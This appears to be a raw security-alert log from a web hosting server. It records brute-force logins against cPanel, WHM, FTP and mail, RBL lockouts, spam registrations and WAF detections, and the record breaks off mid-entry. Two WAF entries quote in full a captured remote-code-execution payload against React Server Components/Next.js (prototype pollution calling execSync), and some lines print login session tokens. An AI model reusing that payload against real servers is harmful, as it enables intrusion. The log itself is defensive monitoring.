rule: 11006
name: cPanel login success
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-06 22:35:24 +0000] info [cpaneld] 5.230.133.216 NEW nerohostfreenetm:Ts8FyiuGNchREPtl address=5.230.133.216,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.228
country_id: 6252001
description:
[2026-06-06 22:34:53 +0000] info [cpaneld] 64.44.62.228 NEW hgfdcvbnk:iAMOY9Aks0J5pgir address=64.44.62.228,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.115
country_id: 2635167
description:
[2026-06-06 22:37:52 +0000] info [cpaneld] 5.230.133.115 NEW zxtqbmmj:R9utdPeaJ9DycJAW address=5.230.133.115,app=cpaneld,creator=zxtqbmmj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.114
country_id: 2635167
description:
[2026-06-06 22:38:04 +0000] info [cpaneld] 5.230.133.114 - pnls "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.248.157.11
country_id: 6252001
description:
[2026-06-06 22:38:13 +0000] info [whostmgrd] 76.248.157.11 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.135
country_id: 3469034
description:
Jun  6 22:38:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.135 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.30
country_id: 130758
description:
Jun  6 22:38:31 ns5 pure-ftpd[3180713]: (?@172.94.9.30) [WARNING] Authentication failed for user [caissederetraites]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.175
country_id: 933860
description:
Jun  6 22:38:35 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.13
country_id: 2635167
description:
[2026-06-06 22:39:47 +0000] info [cpaneld] 5.230.153.13 NEW pkyvzjjc:NbY0Jdfhq5VgpE1g address=5.230.153.13,app=cpaneld,creator=pkyvzjjc,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.130
country_id: 2921044
description:
[2026-06-06 22:39:09 +0000] info [cpaneld] 5.175.229.130 NEW qfaclpeg:0RSPMKqtVt_s6YHo address=5.175.229.130,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.175
country_id: 933860
description:
Jun  6 22:38:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-06 22:38:54 +0000] info [cpaneld] 5.230.153.42 NEW zauwogvk:vUJxn4kXE91T4WcT address=5.230.153.42,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-06 22:40:37 +0000] info [cpaneld] 5.230.153.46 NEW frtwilql:wF8hxvL4qOqkoFtm address=5.230.153.46,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-06 22:40:02 +0000] info [cpaneld] 5.230.133.152 - sxoyfjqv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.133
country_id: 2635167
description:
[2026-06-06 22:40:06 +0000] info [cpaneld] 5.230.133.133 NEW sodigaz:9bcxWFeo4OKxiHXE address=5.230.133.133,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.253
country_id: 2635167
description:
[2026-06-06 22:40:23 +0000] info [cpaneld] 5.230.133.253 NEW aneos:X1OOOkQZAvFrMXjr address=5.230.133.253,app=cpaneld,creator=aneos,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 22:40:36 +0000] info [cpaneld] 185.213.83.243 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 5.31.163.78
country_id: 290557
domain: anamek.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:87126.anamek.tg||ServerName:anamek.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:360519fc23a68acf41a1a099cc59b6a61898be7f||Title:0x898ef6ea||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.42
country_id: 2635167
description:
[2026-06-06 22:41:35 +0000] info [cpaneld] 5.230.133.42 NEW doufelg:oWdst9igBCSSkTFo address=5.230.133.42,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.227
country_id: 2635167
description:
[2026-06-06 22:40:56 +0000] info [cpaneld] 5.230.153.227 NEW mipbtgnb:XiQlZrB5fOlquP0v address=5.230.153.227,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.20
country_id: 2635167
description:
[2026-06-06 22:42:38 +0000] info [cpaneld] 5.230.133.20 NEW hphhdcxi:ZkBDtLqK0tN50RXK address=5.230.133.20,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-06 22:42:07 +0000] info [cpaneld] 5.230.133.152 NEW elmkvzcm:Hq4YRh_mYv3yhKmO address=5.230.133.152,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.74
country_id: 130758
description:
Jun  6 22:42:20 ns5 pure-ftpd[3184119]: (?@172.94.9.74) [WARNING] Authentication failed for user [emt]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.211.89.232
country_id: 6252001
description:
[2026-06-06 22:42:33 +0000] info [cpaneld] 173.211.89.232 - ulduzncs "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-06 22:43:38 +0000] info [cpaneld] 5.230.133.64 NEW ifxmoxbf:D5ehZYDPdpddYWKe address=5.230.133.64,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.241
country_id: 6252001
description:
[2026-06-06 22:44:13 +0000] info [cpaneld] 173.211.88.241 NEW ecukpqcm:7UPUxzIUxKSey68A address=173.211.88.241,app=cpaneld,creator=ecukpqcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-06-06 22:44:16 dovecot_login authenticator failed for H=(host214-171-015-185.retemetis.net) [103.90.27.83]:57224: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.231.255.190
country_id: 3017382
description:
[2026-06-06 22:44:44 +0000] info [cpaneld] 5.231.255.190 - aogodmm "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-06 22:45:04 +0000] info [cpaneld] 5.230.153.208 NEW eevbufog:nSw99aRbr3gPJxPD address=5.230.153.208,app=cpaneld,creator=eevbufog,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.145
country_id: 6252001
description:
[2026-06-06 22:45:36 +0000] info [cpaneld] 173.211.88.145 NEW yydrdvav:qdYLGjPpWzx5FERn address=173.211.88.145,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-06 22:46:05 +0000] info [cpaneld] 5.230.153.242 NEW aopsacai:VXF3kUp9u5I9otSw address=5.230.153.242,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.184
country_id: 6252001
description:
[2026-06-06 22:46:17 +0000] info [cpaneld] 64.44.59.184 NEW dvhzmira:tuyz8lctX40eN1Yo address=64.44.59.184,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-06 22:46:38 +0000] info [cpaneld] 64.44.59.151 NEW wwayrzpl:OkbfhqkG0HvcwQmA address=64.44.59.151,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.54
country_id: 953987
description:
Jun  6 22:46:59 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.235.7.1
country_id: 3077311
description:
Jun  6 22:47:17 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.235.7.1 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Special Financial Reward sepoladi.blogspot.fi sp||Email:hpcrllc@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-49.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.66.34
country_id: 6252001
description:
[2026-06-06 22:51:48 +0000] info [cpaneld] 217.181.66.34 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.217.164.73
country_id: 6252001
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/cgi-bin/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.215.168.58
country_id: 290557
description:
[2026-06-06 22:55:33 +0000] info [whostmgrd] 31.215.168.58 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.135.191.225
country_id: 2921044
description:
[2026-06-06 22:54:54 +0000] info [whostmgrd] 83.135.191.225 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.236.243.225
country_id: 2921044
description:
[2026-06-06 22:57:59 +0000] info [whostmgrd] 178.236.243.225 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.60
country_id: 2017370
description:
2026-06-06 22:59:46 dovecot_login authenticator failed for H=([174.75.211.196]) [178.178.222.60]:57420: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.60
country_id: 2017370
description:
Jun  6 22:59:44 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.79.166.101
country_id: 1562822
description:
2026-06-06 23:02:28 dovecot_login authenticator failed for H=(162.144-60-66-biz.sta.surewest.net) [27.79.166.101]:54172: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  6 23:03:05 ns5 pure-ftpd[3199210]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.133
country_id: 3175395
description:
Jun  6 23:03:22 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.110
country_id: 1269750
description:
Jun  6 23:03:42 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.110
country_id: 1269750
description:
Jun  6 23:03:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.155
country_id: 597427
description:
2026-06-06 23:05:19 dovecot_plain authenticator failed for H=([141.98.10.155]) [141.98.10.155]:54578: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.155
country_id: 597427
description:
Jun  6 23:05:17 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.155 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.20.4.121
country_id: 6252001
description:
[2026-06-06 23:07:14 +0000] info [whostmgrd] 174.20.4.121 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.18.137
country_id: 3469034
description:
Jun  6 23:08:16 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.18.137 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.233.241.86
country_id: 2017370
description:
[2026-06-06 23:08:41 +0000] info [whostmgrd] 94.233.241.86 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.59.148.52
country_id: 3686110
description:
181.59.148.52 - - [06/Jun/2026:23:10:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181723&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F07%252F15%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780787404 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/07/15/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.9078.1597 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.59.148.52


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.96.255.42
country_id: 6252001
description:
[2026-06-06 23:09:54 +0000] info [whostmgrd] 191.96.255.42 - 2087cpsess5571247362 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.63.115.20
country_id: 597427
description:
Jun  6 23:12:13 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.63.115.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.63.115.20
country_id: 597427
description:
2026-06-06 23:12:15 dovecot_plain authenticator failed for H=(yt2ghxo7qx9bk9199jndnf6eq7kg67z) [78.63.115.20]:40926: 535 Incorrect authentication data (set_id=agounkej@ucao-uut.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Tap Into Your Wealth Reserve bonotdamvam.blogspot.fr u5||Email:Gabriellej0922@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-13.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-06 23:12:57 +0000] info [whostmgrd] 104.28.192.94 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 104.28.192.94
country_id: 690791
description:
[2026-06-06 23:13:00 +0000] info [whostmgrd] 104.28.192.94 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.70.215
country_id: 99237
description:
[2026-06-06 23:14:31 +0000] info [cpaneld] 169.224.70.215 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.96.255.42
country_id: 6252001
description:
[2026-06-06 23:19:38 +0000] info [whostmgrd] 191.96.255.42 - 2087cpsess1180574521scripts5account_copy_input "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 102.64.160.153
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:meta.ast-page-background-meta.desktop.background-color||MV:var(--ast-global-color-5)||RSV:8.14||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.29
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:192.227.131.29||TA:192.227.131.29||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 197.38.191.50
country_id: 357994
description:
Jun  6 23:20:48 ns5 pure-ftpd[3212502]: (?@197.38.191.50) [WARNING] Authentication failed for user [admin@togocarrierebetons.com]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.3.94
country_id: 2960313
description:
107.189.3.94 - lecdsntn [06/Jun/2026:23:21:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000798&pdata=https%253A%252F%252Fopa-conseils.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780788064 HTTP/2.0" 302 0 opa-conseils.tg "https://opa-conseils.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.3.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.85
country_id: 2635167
description:
[2026-06-06 23:21:07 +0000] info [cpaneld] 217.181.94.85 - pmalabvi "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.59
country_id: 2750405
description:
192.42.116.59 - qledpnjw [06/Jun/2026:23:21:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065043&pdata=https%253A%252F%252Ftogofeed.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780788068 HTTP/2.0" 302 0 togofeed.tg "https://togofeed.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.59


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.24.152
country_id: 2635167
description:
[2026-06-06 23:21:01 +0000] info [cpaneld] 195.63.24.152 - vodvpozo "GET /frontend/jupiter/index.html HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 85.11.167.19
country_id: 732800
domain: sp-eau.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1780788153_8873',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 197.234.221.195
country_id: 2395170
description:
197.234.221.195 - - [06/Jun/2026:23:26:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671837&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2026%252F06%252F05%252Fun-ex-agent-dune-societe-a-lome-revele-les-secrets-de-la-fabrication-du-cube-et-alerte-sur-les-dangers-de-sa-consommation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780788382 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2026/06/05/un-ex-agent-dune-societe-a-lome-revele-les-secrets-de-la-fabrication-du-cube-et-alerte-sur-les-dangers-de-sa-consommation/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/30.0 Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:197.234.221.195


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.45.52.165
country_id: 357994
description:
[2026-06-06 23:26:48 +0000] info [whostmgrd] 41.45.52.165 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 199.127.251.109
country_id: 6252001
description:
[2026-06-06 23:27:36 +0000] info [cpaneld] 199.127.251.109 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.204.167.19
country_id: 290557
description:
[2026-06-06 23:29:25 +0000] info [whostmgrd] 94.204.167.19 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.80.102.39
country_id: 6252001
description:
[2026-06-06 23:31:01 +0000] info [whostmgrd] 108.80.102.39 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 23.230.243.145
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Luck-Based Find sepoladi.blogspot.hk jp||Email:ogg.linda@yahoo.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-37.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.57.99
country_id: 2921044
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-39.104.207.57.99||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 85.11.167.19
country_id: 732800
domain: tps.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1780789212_7670',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.231
country_id: 1269750
description:
Jun  6 23:41:10 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.231
country_id: 1269750
description:
Jun  6 23:43:06 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-06-06 23:43:08 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:51466: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.227.99.87
country_id: 1668284
description:
Jun  6 23:44:04 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.227.99.87 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 154.66.167.177
country_id: 2361809
description:
154.66.167.177 - - [06/Jun/2026:23:45:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646423&pdata=https%253A%252F%252Fwww.crrhuemoa.org%252Fsites%252Fdefault%252Ffiles%252FFICHE%252520PRODUIT%252520GPL.pdf%253Futm_source%253Dchatgpt.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780789543 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/sites/default/files/FICHE%20PRODUIT%20GPL.pdf?utm_source=chatgpt.com" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36 EdgA/148.0.0.0" WL:"0" "-" XFF:"154.66.167.177" CAPTCHA:"0" PEER:172.71.3.140


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.249.183.183
country_id: 6251999
description:
[2026-06-06 23:46:43 +0000] info [whostmgrd] 99.249.183.183 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 120.48.142.55
country_id: 1814991
description:
Jun  6 23:53:09 ns5 pure-ftpd[3237108]: (?@120.48.142.55) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.231.242
country_id: 290557
description:
